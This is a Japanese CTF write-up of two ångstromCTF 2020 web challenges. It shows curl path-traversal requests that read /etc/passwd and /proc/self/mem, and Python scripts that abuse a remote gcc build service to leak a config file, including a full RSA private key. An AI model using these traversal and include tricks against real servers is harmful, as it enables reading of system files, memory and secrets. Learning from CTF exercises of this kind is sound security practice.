nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/bash

おー、取れました!バイパス成功です!これで任意のpath,filenameが既知のファイルを取得できるようになりました。

ここでプログラムから、videoのリストはメモリ上にロードされていることがわかります。ファイルにアクセスしようとすると、unpublishedなファイルについては権限が削除されているので出来ません。この状況から、ロードされているはずのメモリを覗くという発想に至るらしい…。もしここまで出来てたとしても絶対思いつかなかったなぁ。面白い。
Linuxでは、/proc/[pid]/memファイルに、プロセスと同じ方法でマップされた$pidのメモリの内容が表示されます。

proc(5) - Linux manual page

このコマンドはそのまま叩いてもダメで、オフセット情報が必要になります。詳しくは下記のQAにありました。

How do I read from/ proc/$ pid/mem under Linux?

オフセットなし(0)だと、プロセスの最初のページはマップされないため、常にI/Oエラーが発生してしまうらしい。通りで何も返ってこないわけだ。各プロセスのマップを取得するには、

/proc/[pid]/mapsを見れば良い。

address           perms offset  dev   inode       pathname
00400000-00452000 r-xp 00000000 08:02 173521      /usr/bin/dbus-daemon
00651000-00652000 r--p 00051000 08:02 173521      /usr/bin/dbus-daemon
00652000-00655000 rw-p 00052000 08:02 173521      /usr/bin/dbus-daemon
00e03000-00e24000 rw-p 00000000 00:00 0           [heap]
00e24000-011f7000 rw-p 00000000 00:00 0           [heap]

のようなフォーマットです。早速取得してみます。

$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/maps'
56279dc8b000-56279dc8c000 r--p 00000000 ca:01 9231839                    /usr/local/bin/python3
56279dc8c000-56279dc8d000 r-xp 00001000 ca:01 9231839                    /usr/local/bin/python3
56279dc8d000-56279dc8e000 r--p 00002000 ca:01 9231839                    /usr/local/bin/python3
56279dc8e000-56279dc8f000 r--p 00002000 ca:01 9231839                    /usr/local/bin/python3
56279dc8f000-56279dc90000 rw-p 00003000 ca:01 9231839                    /usr/local/bin/python3
56279ee86000-56279f45c000 rw-p 00000000 00:00 0                          [heap]
7f3f34d9a000-7f3f34d9e000 r--p 00000000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34d9e000-7f3f34dab000 r-xp 00004000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34dab000-7f3f34daf000 r--p 00011000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34daf000-7f3f34db0000 ---p 00015000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34db0000-7f3f34db1000 r--p 00015000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34db1000-7f3f34db2000 rw-p 00016000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34db2000-7f3f34db4000 rw-p 00000000 00:00 0 
7f3f34db4000-7f3f34db5000 r--p 00000000 ca:01 7173346                    /lib/x86_64-linux-gnu/libnss_dns-2.28.so
7f3f34db5000-7f3f34db9000 r-xp 00001000 ca:01 7173346                    /lib/x86_64-linux-gnu/libnss_dns-2.28.so
7f3f34db9000-7f3f34dba000 r--p 00005000 ca:01 7173346                    /lib/x86_64-linux-gnu/libnss_dns-2.28.so
7f3f34dba000-7f3f34dbb000 r--p 00005000 ca:01 7173346                    /lib/x86_64-linux-gnu/libnss_dns-2.28.so
7f3f34dbb000-7f3f34dbc000 rw-p 00006000 ca:01 7173346                    /lib/x86_64-linux-gnu/libnss_dns-2.28.so
7f3f34dbc000-7f3f34dbe000 r--p 00000000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34dbe000-7f3f34dc1000 r-xp 00002000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34dc1000-7f3f34e42000 r--p 00005000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34e42000-7f3f34e43000 ---p 00086000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34e43000-7f3f34e44000 r--p 00086000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34e44000-7f3f34e55000 rw-p 00087000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34e55000-7f3f35716000 rw-p 00000000 00:00 0 
7f3f35716000-7f3f35718000 r--p 00000000 ca:01 9232381                    /usr/local/lib/python3.1/lib-dynload/select.so
7f3f35718000-7f3f3571a000 r-xp 00002000 ca:01 9232381                    /usr/local/lib/python3.1/lib-dynload/select.so
7f3f3571a000-7f3f3571b000 r--p 00004000 ca:01 9232381                    /usr/local/lib/python3.1/lib-dynload/select.so
7f3f3571b000-7f3f3571c000 r--p 00004000 ca:01 9232381                    /usr/local/lib/python3.1/lib-dynload/select.so
7f3f3571c000-7f3f3571e000 rw-p 00005000 ca:01 9232381                    /usr/local/lib/python3.1/lib-dynload/select.so
7f3f3571e000-7f3f35721000 r--p 00000000 ca:01 9232361                    /usr/local/lib/python3.1/lib-dynload/_socket.so
7f3f35721000-7f3f35728000 r-xp 00003000 ca:01 9232361                    /usr/local/lib/python3.1/lib-dynload/_socket.so
7f3f35728000-7f3f3572b000 r--p 0000a000 ca:01 9232361                    /usr/local/lib/python3.1/lib-dynload/_socket.so
7f3f3572b000-7f3f3572c000 r--p 0000c000 ca:01 9232361                    /usr/local/lib/python3.1/lib-dynload/_socket.so
7f3f3572c000-7f3f35730000 rw-p 0000d000 ca:01 9232361                    /usr/local/lib/python3.1/lib-dynload/_socket.so
7f3f35730000-7f3f35731000 r--p 00000000 ca:01 9232360                    /usr/local/lib/python3.1/lib-dynload/_random.so

この中の、pathnameが不明な領域のaddressを指定して、/proc/self/memを実行し、メモリを取ってきてみます。
範囲の指定は、HTTP range requests - HTTP | MDN のように、サーバー側が range request に対応している場合は、HeaderにRange: bytes=[start]-[end]みたいに指定できるそうなので、これを試してみます。

curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/mem' -H 'Range: bytes 94728169742336-94728175861760' > data1
curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/mem' -H 'Range: bytes 139909446443008-139909446451200' > data2
curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/mem' -H 'Range: bytes 139909447110656-139909456289792' > data3

何かしらデータが降ってきました👍
それぞれのデータをバイナリエディタで開き、mp4のマジックナンバーがあるかをチェックしていきます。すると、7f3f34e55000-7f3f35716000(139909447110656-139909456289792)の領域に、マジックナンバー00 00 00 20 66 74 79 70 69 73 6F 6D 00 00 02 00` がありました!!

f:id:kusuwada:20200405111512p:plain

マジックナンバーまとめはここが見やすい。マジックナンバーまとめ - Qiita

これをマジックナンバーが先頭になるようにカットし、output.mp4などと名前を付けて保存すると、再生できる動画ファイルになります。
動画を再生してみると、flagが出てきました。

f:id:kusuwada:20200405111543p:plain

全然知らない知識が必要な問題だった。面白い!

[Web] UBI

I made a new universal build integrator, and there's already a flags site using it! It all seems pretty secure to me...

Here's the source code.

universal build integratorhttps://ubi.2020.chall.actf.co/に飛ばされて、下記のようなテキストが出てきます。

Welcome to the Universal Build Integrator!

__/\\\________/\\\__/\\\\\\\\\\\\\____/\\\\\\\\\\\_        
 _\/\\\_______\/\\\_\/\\\/////////\\\_\/////\\\///__       
  _\/\\\_______\/\\\_\/\\\_______\/\\\_____\/\\\_____      
   _\/\\\_______\/\\\_\/\\\\\\\\\\\\\\______\/\\\_____     
    _\/\\\_______\/\\\_\/\\\/////////\\\_____\/\\\_____    
     _\/\\\_______\/\\\_\/\\\_______\/\\\_____\/\\\_____   
      _\//\\\______/\\\__\/\\\_______\/\\\_____\/\\\_____  
       __\///\\\\\\\\\/___\/\\\\\\\\\\\\\/___/\\\\\\\\\\\_ 
        ____\/////////_____\/////////////____\///////////__

Never again suffer at the hands of the bourgeoisie. The UBI brings the power of building to the people.

Source:

from flask import Flask, request, jsonify

from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA

import subprocess
import hashlib
import os
import json
import random

allowed_headers = ('content-type', 'content-disposition', 'x-ubi-src')
def verify_headers(headers, signature, key, build):
    if set(headers) - set(allowed_headers): return None
    key = RSA.import_key(key)
    headers = '\n'.join(header+': '+headers[header] for header in sorted(headers.keys()))+f"\nx-ubi-id: {build}\nx-ubi-key: {SHA256.new(key.export_key('PEM', pkcs=8)+bytes([10])).hexdigest()}"
    h = SHA256.new(headers.encode('utf-8')).digest()
    if PKCS1_OAEP.new(key).decrypt(bytes.fromhex(signature)) != h: return None
    return {h.split(': ')[0]: h.split(': ')[1] for h in headers.split("\n")}

app = Flask(__name__)

@app.route('/build', methods=['POST'])
def build():
    if len(request.form['src']) > 500000: return jsonify({'status': 'error'})
    i = hex(random.randrange(2**64))[2:].zfill(16)
    os.mkdir('build/'+i)
    f = open('build/'+i+'/config.json', 'w')
    json.dump({'referer': request.form.get('referer'), 'key': request.form.get('key')}, f)
    f = open('build/'+i+'/source.c', 'w')
    f.write(request.form['src'])
    f.close()
    p = subprocess.run(['/usr/local/bin/timeout', '--no-info-on-success', '-m', '100000', '-t', '1', 'gcc', '-o', '/dev/stdout', 'build/'+i+'/source.c'], capture_output=True)
    if len(p.stderr) or len(p.stdout) > 500000: return jsonify({'status': 'error', 'message': p.stderr.decode('utf-8')}), 400
    f = open('build/'+i+'/a.out', 'wb')
    f.write(p.stdout)
    f.close()
    return jsonify({'status': 'success', 'id': i})

@app.route('/<i>/<name>')
def executable(i, name):
    try:
        sig = '' 
        headers = {}
        for arg in request.args:
            if arg == 'sig':
                sig = request.args[arg]
                continue
            headers[arg] = request.args[arg]
        config = json.load(open('build/'+i+'/config.json'))
        if request.headers.get('referer') != config['referer']: return jsonify({'status': 'error', 'message': 'invalid referer'}), 400
        headers = verify_headers(headers, sig, config['key'], i)
        if not headers: return jsonify({'status': 'error', 'message': 'invalid signature'}), 400
        return open('build/'+i+'/a.out', 'rb').read() if not headers.get('x-ubi-src') else open('build/'+i+'/source.c').read(), headers
    except:
        return jsonify({'status': 'error'}), 400

@app.route('/')
def index():
    return f"""<pre>
Welcome to the Universal Build Integrator!

__/\\\\\\________/\\\\\\__/\\\\\\\\\\\\\\\\\\\\\\\\\\____/\\\\\\\\\\\\\\\\\\\\\\_        
 _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\/////////\\\\\\_\\/////\\\\\\///__       
  _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\_______\\/\\\\\\_____\\/\\\\\\_____      
   _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\\\\\\\\\\\\\\\\\\\\\\\______\\/\\\\\\_____     
    _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\/////////\\\\\\_____\\/\\\\\\_____    
     _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\_______\\/\\\\\\_____\\/\\\\\\_____   
      _\\//\\\\\\______/\\\\\\__\\/\\\\\\_______\\/\\\\\\_____\\/\\\\\\_____  
       __\\///\\\\\\\\\\\\\\\\\\/___\\/\\\\\\\\\\\\\\\\\\\\\\\\\\/___/\\\\\\\\\\\\\\\\\\\\\\_ 
        ____\\/////////_____\\/////////////____\\///////////__

Never again suffer at the hands of the bourgeoisie. The UBI brings the power of building to the people.

Source:

{open(__file__).read().replace("<", "<").replace(">", ">")}
</pre>"""

if __name__ == "__main__":
    app.run('0.0.0.0', 5000)

flag siteのサイトはこんな感じ。

f:id:kusuwada:20200405111713p:plain

いくつかのCTFのタイトルとDownload Flagボタンが並んでいます。
配布されたソースコードはこちら。

var express = require('express')
var cookieParser = require('cookie-parser')
var bodyParser = require('body-parser')
var app = express()
app.use(cookieParser())
app.use(bodyParser.urlencoded({ extended: false }))

var crypto = require('crypto')
var querystring = require('querystring')
var url = require('url')
var bent = require('bent')

var { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 2048,    
        publicKeyEncoding: {
        type: 'spki',
        format: 'pem'
    },   
    privateKeyEncoding: {
        type: 'pkcs8',
        format: 'pem'
    } 
})
var flags = [
    {name: 'picoCTF', flag: 'picoCTF{who_stole_our_flags}'},
    {name: 'RedpwnCTF', flag: 'guessCTF{cOoKiE_ReCiPiEs}'},
    {name: 'HSCTF', flag: 'hsctf{hacked_by_REDPWN}'},
    {name: 'ångstromCTF', flag: process.env.FLAG, hidden: true}
]
var src = "#include \"stdio.h\"\nint main() { puts(\"FLAG\"); }"
var headers = {'content-type': 'application/octet-stream', 'content-disposition': 'attachment'}
var headersToSign = Object.keys(headers).sort().map(h => h+': '+headers[h]).join('\n')
var keyId = crypto.createHash('sha256').update(privateKey).digest('hex')
async function buildFlags() {
    for (var i = 0; i < flags.length; i++) {
        var res = await bent('POST', 'json')(process.env.UBI+'/build', Buffer.from(`referer=${process.env.URL}/&src=${encodeURIComponent(src.replace("FLAG", flags[i].flag))}&key=${encodeURIComponent(privateKey)}`), {'content-type': 'application/x-www-form-urlencoded'})
        var sig = crypto.publicEncrypt(publicKey, crypto.createHash('sha256').update(headersToSign+`\nx-ubi-id: ${res.id}\nx-ubi-key: ${keyId}`).digest()).toString('hex')
        flags[i].url = process.env.URL+'/download/'+res.id+'/flag?'+querystring.stringify(headers)+'&sig='+sig
    }
}
buildFlags()

app.use(function (req, res, next) {
    res.set({'content-security-policy': 'script-src \'none\';'})
    next()
})

app.get('/', function (req, res) {
    res.send(`<!DOCTYPE html>
<html>
    <head>
        <title>Flags</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href="/style.css">
    </head>
    <body>
        <section class="section">
            <div class="container">
                <div class="tile is-ancestor is-vertical">
                    <div class="tile is-parent"><div class="tile is-child">
                        <h1 class="title is-1">Flags</h1>
                        <form method="POST" action="/submit">
                            <div class="field"><p>Are we missing a flag you think we should have? Send us a link and an admin will check it out!</p></div>
                            <div class="field"><div class="control">
                                <input class="input" type="text" name="url" placeholder="Flag URL">
                            </div></div>
                            <div class="field"><div class="control">
                                <button class="button" type="submit">Submit</button>
                            </div></div>
                        </form>
                    </div></div>
                    ${flags.map(flag => (!flag.hidden || req.cookies.admin === process.env.ADMIN) ? `<div class="tile is-parent"><div class="tile is-child box">
                        <p class="title">${flag.name}</p>
                        <p><a href="${flag.url}" class="button">Download Flag</a></p>
                    </div></div>` : '').join('')}
                </div>
            </div>
        </section>
    </body>
</html>`)
})

app.get('/style.css', function (req, res) {
    res.sendFile(__dirname+'/style.css')
})

app.get('/download/:file(*)', function (req, res) {
    var proxyHeaders = req.headers
    delete proxyHeaders.host
    bent(process.env.UBI, 200, 400, proxyHeaders)('/'+req.params.file+'?'+url.parse(req.url).query).then(function (response) {
        if (response.headers['x-ubi-key'] !== keyId) return res.status(404).end()
        res.status(response.statusCode)
        for (var h in response.headers) {
            if (!res.get(h)) res.set(h, response.headers[h])
        }
        response.on('data', function (chunk) {
            res.write(chunk)
        })
        response.on('close', function () {
            res.end()
        })
        response.on('end', function () {
            res.send()
        })
    }).catch(async function (error) {
        res.status(404).end()
    })
})

/* admin visitor */
var puppeteer = require('puppeteer')
app.post('/submit', async function (req, res) {
    try {
        if (!(req.body.url && (req.body.url.startsWith('http://') || req.body.url.startsWith('https://')))) return res.status(400).end()
        var browser = await puppeteer.launch({
            args: ['--no-sandbox']
        })
        var page = await browser.newPage()
        await page.setCookie({
            name: 'admin',
            value: process.env.ADMIN,
            url: process.env.URL,
            httpOnly: true
        })
        await page.goto(req.body.url, { waitUntil: 'networkidle0' })
        await new Promise(r => setTimeout(r, 10000));
        await page.close()
        await browser.close()
        res.redirect('/')
    } catch (e) {
        res.status(500).end()
    }
})

app.listen(5001)

index.jsで使用しているcss, style.cssを覗いてみたんですけど、凄い文字数…。約20万文字ですよ!オンラインのcss整形サイトで整形してもらったところ、行数1万行超え!css injectionみたいなのもやったことない初心者としては、もしこれを攻撃に使うのだとしても、この膨大なテキストの中から取っ掛かりを見つけ出すのは不可能と判断し、撤退。

長いなー。。。(ここで競技中のメモは終わっている)

ここから復習

とりあえず押せるボタンは押してみます。各CTFのDownload Flagボタンを押すと、それぞれflagという名前の実行ファイルが降ってきました。
それぞれのファイルに対して、strings xxx | grep { などとフラグフォーマットの文字列を探してみると、

  • picoCTF: picoCTF{who_stole_our_flags}
  • RedpwnCTF: guessCTF{cOoKiE_ReCiPiEs}
  • HSCTF: hsctf{hacked_by_REDPWN}

何やらメッセージのような、そうでもないような…。ってindex.jsに書いてありました。index.jsを見てみると、ångstromCTFにもflagが用意されているようです。buildFlags関数で処理されていますが、hidden: trueになっているので、ångstromCTFのぶんだけ表示されません。

download urlの作り方はbuildFlags()関数にありますが、pathの途中にランダムっぽいid番号があり、更に末尾に長ーいsignetureが付いています。picoCTFのflag urlはこんな感じ。

https://flags.2020.chall.actf.co/download/24e9190b45d3f2c9/flag?content-type=application%2Foctet-stream&content-disposition=attachment&sig=720892f80721b33a983602266674ff73f4d62afa4a57151ac359a8bec3715e481694f0bc56fa4780b11b628924dba354b236c87329153e6421805ad2747af6a00893a2dd4d1a8005cd1b407d2d85b2705d260a3dca6a9525f3e1f1516b7c85b5a72fd5cdf4743750b247de5de0e14e52fc76f2755d018551b18f9a1774170ea4813136254da131b76d4829d41acbf67785446bc8522db0d4b60374d683daac3da6fd9e80c4d4c5d671b6fb302dc43434fd2f51c4571223e8ba0b2be1edcdcc68d3bb62c374906415835414fd3c83ce32cd043edf2ba0156546e143c7128fc8ba1c8fb45c07bb9c56a1b2df3143c7664903ca030f1ea7d9d14e2a4a85a2134ea9

このbuildFlags()関数の中で、universal build integratorAPIをコールし、FlagのダウンロードURLに使用する変数(主にid)を生成しているようです。

これのångstromCTF版URLを再現できればflagが取れそう。※1

また、ページ最上部のフォームは、リンクを送りつけるとadminが見に行ってくれるみたいです。index.js/* admin visitor */のコメントの下に処理が書いてあります。cookieprocess.env.ADMINの値を埋め込んでいるようです。

index.jsのL72

${flags.map(flag => (!flag.hidden || req.cookies.admin === process.env.ADMIN) ? `<div class="tile is-parent"><div class="tile is-child box">

より、ADMMINのcookieを持ってサイトを表示させると、ångstromCTFのflagのダウンロードボタンも表示されそう。※2

さっきの、Download URLを構築する方針(1)と、adminのcookieを入手する方針(2)の2つがぱっと思いつきます。(2)のほうは Xmas Still Stands のようにXSSが仕掛けられないかと思いましたが、確認する方法もないので厳しい。どうやるんだろう?

あとは、cssを取得するだけのAPIが用意されているのも気になります。

app.get('/style.css', function (req, res) {
    res.sendFile(__dirname+'/style.css')
})

🤔

もうちょっと丁寧に全体を見てみます。
ざっくり、処理をソースコードから追ってみます。

index.jsが実行されると、buildFlags()関数が実行され、用意されているflags

が行われます。このid生成とソースコードのビルドは、universal build integratorの中で行われます。
universal build integratorでは、

build
├── {id_pico} (16桁のhex)
│   ├── config.json (requestから取得した、refere と key)
│   ├── source.c (requestから取得)
│   └── a.out
├── {id_Redpwn} (16桁のhex)
│   ├── config.json (requestから取得した、refere と key)
│   ├── source.c (requestから取得)
│   └── a.out
├── {id_HS} (16桁のhex)
│   ├── config.json (requestから取得した、refere と key)
│   ├── source.c (requestから取得)
│   └── a.out
└── {id_ångstrom} (16桁のhex)
    ├── config.json (requestから取得した、refere と key)
    ├── source.c (requestから取得)
    └── a.out

こんなフォルダ構造になっており、requestに詰めたソースコードをbuildしてくれます。buildに失敗したらErrorを返し、成功したらidを返却します。
渡したソースコードをbuildしてくれるらしいので、とても怪しい。

もう一つのAPI、GET methodの/<i>/<name>では、

  • refere(Headerから取得) が 上記のpathにあるものと一致しているか
  • シグネチャとkeyが正しいか

を検証し、正しくない場合は status:400 のエラーを返却、正しい場合はa.outsource.cと1番目と2番目のHeaderを返却します。返却するコンテンツはx-ubi-srcヘッダの内容で出し分けているようです。Headerはsorted(headers.keys())でソートされます。

気になった点は、任意のコードを/buildAPIで実行させることができること。あとは、このbuildAPIbuild/{id}/config.jsonreferekeyが書き出されたまま保存されていること。
このrefereindex.jsprocess.env.URLで固定、keyindex.jsが実行されるたびに生成される(privateKey)ものの、/buildAPIの呼び出しごとに変わるものではないようです。

/buildAPIの返却値は、成功したときはidのみですが、失敗するとmessagestderrを詰めて返してくれます。これを利用して、共通で使われているprivateKeyを取得できないでしょうか。

上記、/buildの際に実行されるディレクトリ構成を参考に、もう一つ新しく何かをbuildしてみてもらいます。エラーが返るようなソースコードを実行してみてもらいましょう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

ubi_uri = 'https://ubi.2020.chall.actf.co'
flags_uri = 'https://flags.2020.chall.actf.co'

test_data = {'refere':flags_uri,
             'src':"#include \"stdio.h\"\nint main() { puts(i); }",
             'key':'test'}
test_header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_uri + '/build', data=test_data, headers=test_header)

print(res.text)

実行結果

$ python solve.py 
{"message":"build/3fe600bf641b8fa8/source.c: In function \u2018main\u2019:\nbuild/3fe600bf641b8fa8/source.c:2:19: error: \u2018i\u2019 undeclared (first use in this function)\n int main() { puts(i); }\n                   ^\nbuild/3fe600bf641b8fa8/source.c:2:19: note: each undeclared identifier is reported only once for each function it appears in\n","status":"error"}

いきなりソース中にiを未定義で使ったので怒られています。
では、他のidがわかっているbuild結果のconfig.jsonを覗いて、keyの取得を試みます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

ubi_uri = 'https://ubi.2020.chall.actf.co'
flags_uri = 'https://flags.2020.chall.actf.co'

test_data = {'refere':flags_uri,
             'src':"#include \"stdio.h\"\nint main(){ FILE *fp;\nchar str[100];\nfp=fopen(\"../config.json\", \"r\");\nprintf(\"%s\",fgets(str,100,fp));\nfclose(fp); }",
             'key':'test'}
test_header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_uri + '/build', data=test_data, headers=test_header)

print(res.text)

実行結果

$ python solve.py 
{"id":"d4b3afb815b3aaa0","status":"success"}

あー、やっぱ成功してしまってはstatusとidしか返らない。config.jsonが読めていない場合はエラーが返るはずなので、config.jsonにはリーチできている様子。

手っ取り早く、config.jsonの内容をエラーに出力させるには、ソースじゃないこのファイルをincludeしちゃうのが良いみたい。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

ubi_uri = 'https://ubi.2020.chall.actf.co'
flags_uri = 'https://flags.2020.chall.actf.co'

test_data = {'refere':flags_uri,
             'src':"#include \"../24e9190b45d3f2c9/config.json\"\nint main(){ puts(\"Hello!\"); }",
             'key':'test'}
test_header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_uri + '/build', data=test_data, headers=test_header)

print(res.text)

実行結果

$ python solve.py 
{"message":"In file included from build/3ddbc1fc8615a8a5/source.c:1:\nbuild/3ddbc1fc8615a8a5/../24e9190b45d3f2c9/config.json:1:1: error: expected identifier or \u2018(\u2019 before \u2018{\u2019 token\n {\"referer\": \"https://flags.2020.chall.actf.co/\", \"key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDWhcALIgsMl/Dq\\nfqdwrYv7gU07dX/R0aW6St9tGRK0mW7qH3VXMKig2IdkvJTb2Hou9Ov26BN+fWJJ\\nqpWlvYodMa0jOEoGBQaPbQfb5VItAZhi/ZtFVGilVniF/8QGtTb63GuOBWP2ZnKA\\nBmv4clkFkD7Immsf2YRRW8VLioiopV4WOFfrcDPTYz8HEz+FuzaekzqgzQKSxUuL\\nVNFBhhsjlN7JNp1e1vLoX3fYexVZRoliyjFn3OPHarBHYof8/tHz8Ujit0BE53DS\\noaMBJryhqyrU9WvC4H07cq9/8z3cT7mhREkc2+pmXf1XtSghEmdCG1bt66PZwuFg\\ndVF7oVwNAgMBAAECggEBAJtSTgEBjhR5MqLmPx+zWCYqsZu6cGifranbqjeYrtV6\\nPjdfvZr6jS2geS9z5yfiblzvUqX71JmB+RczXpSZTpXisOROTjJbkytnmwgY2s3h\\nWM9bpf+lpPsJR8xlqi3dKUirLWiv+HegJ4kQnT5OtKv1i6+9NpDh8g7iLlCKpnXL\\nqXoWjDHxABarU4r5iUqxKta/QNQt747f3Mwd+CdRZ1TH4KpW9e5CvaSHEbJsf7qg\\nQmHqrCUYAUOyVa0btxiNgQ364mx7LSm6mIvqVxA9LlIMcDvl+qkO9wmKDw1cGjP8\\nfmqEwbmEsLDGoiaRX36YKLeRCzxPLdGBt3aOTeKLedUCgYEA/nKAgyac8yHNo58S\\nTQveE55ZGgm7y0z2gAvpIiPpYz+cFVG3BeC5jfm9xpewNPrFcEy0gtVWQ1KZ9mQ1\\nnpEtKHPXzxjjqdA82uPHkQpf8mcmlhTBlKL1AM1pVoe3MorOh2IGLTBQudRINojX\\niaqu6yQvUTbDaziCNJ/HciEP6QcCgYEA19Tgp2N3HFU5eCzPFFLCEoT+On1GW8QI\\ng0ekgM2YaNopmrIuqMm2PdweDV7oEtVr+1To3XC5o+1LS0PfvtYwkuG73qAFw3TN\\ncmoqtx/kC1LqYkiltHuh1Rxa6BOC0vd6ss+Nt4rb4HZsRpEgoALRZXLK6Jzao83V\\nmCA+Jk4EcUsCgYBTE+Ot7q+UGtdfsxJwoY1S7oK9I6xzRp+9UyY9hWgwhZZax6Fw\\ng91R49b4vpJD2hUZA5J0nV9a/99ROYrgSRpreNdfwQqkaV9VQMXqL28AYHmSyxgh\\nhctlBax9GjbQg83HGlRV8M6KvisN00Q8qMQP9nKUm8LWgU7SC9E9DFp7hQKBgFxG\\nPAH0iXEIkrhpV+NVenmWeGajNph3GDigQZl7zMRPOWhU85PgIVUTLZoD0G505mSe\\nqaw6zHNkOUOlchxR0JSLg9mrSquE3W0kLLz8GnAo8+IvMwEVtlu5crgz10PA4Klg\\nCTPGXzj5CFOnKm6epc2cpVmL7gIIN2CBsHCJ/GY/AoGBAKhxtlzrMJOZvknEiF20\\nliHXmaMSfXKrjQpU1vljJy+5F4EFdxpSqdWuSsQGTx/T41AJaM130qNG/WxzyjAN\\n5vdNOgOzd8bt6RWMKbcQeDAjuRqPfxdSnx19l7508ATEv/zHz+bDDvqWc/38AWE5\\n3m60GanVC38kbc8STt0MpBOA\\n-----END PRIVATE KEY-----\\n\"}\n ^\nbuild/3ddbc1fc8615a8a5/source.c: In function \u2018main\u2019:\nbuild/3ddbc1fc8615a8a5/source.c:2:13: warning: implicit declaration of function \u2018puts\u2019 [-Wimplicit-function-declaration]\n int main(){ puts(\"Hello!\"); }\n             ^~~~\n","status":"error"}

おー!ファイルの内容が全部抜けました。privatekeyも!

後この検証中に気づいたこと

  • buildに失敗してエラーになっても、エラーメッセージにpathが含まれているのでidが取得できる
  • buildに失敗した場合でも、idさえわかればダウンロードURLを作成できる
  • buildに失敗しているのでa.outは取得できないが、x-ubi-srcヘッダを設定することでsource.cは取得できる

うーん、これもとても怪しい。実質任意のファイルをsource.cという名前でアップロード・ダウンロードできることになる。

ここから先、どこに進めばよいのか全くわからなくなったので、とりあえずフォームにurlを入れたら本当にadminが見に来てくれるのかを確認してみました。
自分で用意したエンドポイントを入れ、誰かアクセスしに来るか待ってみます。

https://{用意したエンドポイント} -> submit

お、誰かやってきました!Request Headerを見てみましょう。

{
  "upgrade-insecure-requests": "1",
  "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/80.0.3987.0 Safari/537.36",
  "sec-fetch-dest": "document",
  "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  "sec-fetch-site": "none",
  "sec-fetch-mode": "navigate",
  "sec-fetch-user": "?1",
  "accept-encoding": "gzip, deflate, br",
  "accept-language": "en-US"
}

ちゃんと見に来てくれることは確認できました。この機能は使いそう。更にAdminのcookie情報を抜き出したいんだけど、その方法は思いつかず。

  • publickeyが手に入った
  • adminが自分の用意したエンドポイントにアクセスしてくれる
  • 任意のファイルをアップロード・ダウンロードできそう

ここまでやったものの、先の手が全くわからなかったのでwriteup探してみました。…が、公式のwriteup(ソースコードのみ)しか見つからず。

公式writeup

更に、Discordでヒントになりそうなワードが飛び交っていたのでピックアップしておきました。

appcache が css injection で chrome-specific な nday の bug で crypto 要素があるんやな🤔?
なんだかとても困難な道程になりそうだ。

@graneedさんのtweetより。

あ、ちょっとわかりやすい気がする。けど、ぜんぜんわからん。これらのコメントと公式解法のソースを頼りに進めていきます。

まずは肝になりそうなAppCache(Application Cache)について、明るくないので基本から調べてみました。

HTML5が提供している、ウェブベースのアプリケーションをオフラインで実行できるようにするためのブラウザ側のキャッシュ機能。Chromeの開発者ツールでも、Application > Cache から確認できます。ユーザーがオフラインになった状態で更新ボタンを押しても、このキャッシュのおかげで正常に読み込まれます。
上の方のMozillaの解説の方には、この機能はウェブ推奨から削除されており、好ましくないとあります。

アプリケーションでアプリケーションキャッシュを有効にするには、アプリケーションページ内の <html> 要素に manifest 属性を含めなければなりません。以下に例を示します。

<html manifest="example.appcache">
  ...
</html>

このようにmanifest属性を含めると、appcacheを有効にできるようです。

キャッシュマニフェストファイルはどんなファイル拡張子でもかまいませんが、text/cache-manifest MIME タイプで提供されなければなりません。

キャッシュマニフェストファイルはブラウザーがオフラインアクセスのためにキャッシュすべきリソースを列挙した単純なテキストファイルです。リソースは URI によって区別されます。キャッシュマニフェストに列挙されたエントリーはマニフェストと同じスキーマ、ホスト、およびポートでなければなりません。

AppCachePoisoningで調べてみると下記の説明資料・ブログが。

どうやらこの攻撃を行うには

  • MitM (man in the middle)攻撃ができる
  • manifestファイルのmime typeにtext/cache-manifestを指定できる
  • ファイルアップロード機能がある
  • ChormeかFirefox

